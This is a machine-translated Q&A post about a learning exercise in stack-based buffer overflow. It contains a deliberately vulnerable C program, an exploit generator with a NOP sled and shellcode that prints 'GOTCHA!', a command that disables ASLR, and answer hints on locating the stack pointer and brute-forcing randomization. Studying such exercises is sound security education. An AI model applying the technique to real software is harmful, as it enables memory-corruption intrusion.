1

スタックスマッシングを実行しようとしているプログラムが2つあります。

vuln.c

#include <stdlib.h>
#include <stdio.h>
int bof()
{
    char buffer[8];
    FILE *badfile;
    badfile = fopen( "badfile", "r" );
    fread( buffer, sizeof( char ), 1024, badfile );
    return 1;
}

int main( int argc, char **argv)
{
    bof();
    printf("Not gonna do it! \n");
    return 1;
}

explore.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
 "\xeb\x16"
 "\x31\xdb"
 "\x31\xd2"
 "\x31\xc0"
 "\x59"
 "\xbb\x01\x00\x00\x00"
 "\xb2\x09"
 "\xb0\x04"
 "\xcd\x80"
 "\xb0\x01"
 "\xcd\x80"
 "xe8\xe5\xff\xff\xff"
 "GOTCHA!\n";

#define OFFSET 1500

    int bof()
    {
       char buffer[8];
       strcpy(buffer, "AAAAAAAAA");
       return 1;
    }

    unsigned long get_ESP(void)
    {
          __asm__("movl %ESP,%EAX");
    }

    int main(int argc, char **argv)
    {
      unsigned int addr;
      FILE *badfile;
      char buffer[1024];
      addr = get_ESP()+OFFSET;
      fprintf(stderr, "Using Offset: 0x%x\nShell code size: %lx\n",addr, sizeof(shellcode));
      memset(&buffer, 0x90, 1024);
      buffer[12] = addr & 0x000000ff;
      buffer[13] = (addr & 0x0000ff00) >> 8;
      buffer[14] = (addr & 0x00ff0000) >> 16;
      buffer[15] = (addr & 0xff000000) >> 24;
      memcpy( &buffer[ (sizeof(buffer) - sizeof(shellcode)) ], shellcode,sizeof(shellcode) );
      badfile = fopen("./badfile","w");
      fwrite(buffer,1024,1,badfile);
      fclose(badfile);

    }

gcc vuln.c -fno-stack-protector -o vuln私はこれらのコマンドを使ってこれをMacbookにコンパイルしましたgcc exploit.c -fno-stack-protector -o exploit。次に、vulnを実行すると、正常に実行され、次の出力を悪用して取得します。

Using Offset: 0x6acd6814
Shell code size: 28

次に、でファイルを破損したod -t x2 badfileため、次のようになります。

bash-3.2# cat badfile
????????????h?j?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Y??   ?̀?̀xe8????GOTCHA!

GOTCHAを出力するように、脆弱性プログラムを悪用しようとしています。私は今取得してBus error: 10います。誰かが私がどこで間違っているのかについてのヒントを教えてもらえますか?

__ _ __ _ __ _ __ _ __ _ __ _ __ _ ____更新____ __ _ _ _ _ _ _

BT5でも同じ手順を試しました。echo 0 > /proc/sys/kernel/randomize_va_spaceASLRを無効にするために使用します。

なぜこれが機能しないのかまだわかりません。gdbで実行すると次のようになります。

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) 

私はこれを正しく試みていますか?

4

1 に答える 1

1

OSXがどのような種類の保護を備えているかはわかりません。これは、Linuxボックスでより適切に機能する可能性があります。

とにかく、基本的な考え方は問題ないように見えます。脆弱なプログラムは大きなファイルを開き、それを小さな配列にダンプします。問題はファイルの作成にあるようです。

ESPを取得すると、現在のプログラムのスタックポインタを取得します。スタックが両方でまったく同じに設定されていない限り、これは脆弱なプログラムとは関係ありません(そうではありません)。

よりうまくいくかもしれないのは、bof()を押してスタックポインタを見るまで、gdbで脆弱なプログラムを実際に実行することです。それが一貫しているなら、あなたは勝ちます。ランダム化されている場合(私の推測ではそうです)、nop-sledとhopeを使用する必要があります。

32ビットマシンでは、スタックのランダム化はそれほど多くないため、エクスプロイトを繰り返し試行すると、最終的に攻撃が成功するはずです。

幸運を!

于 2012-04-19T01:15:59.350 に答える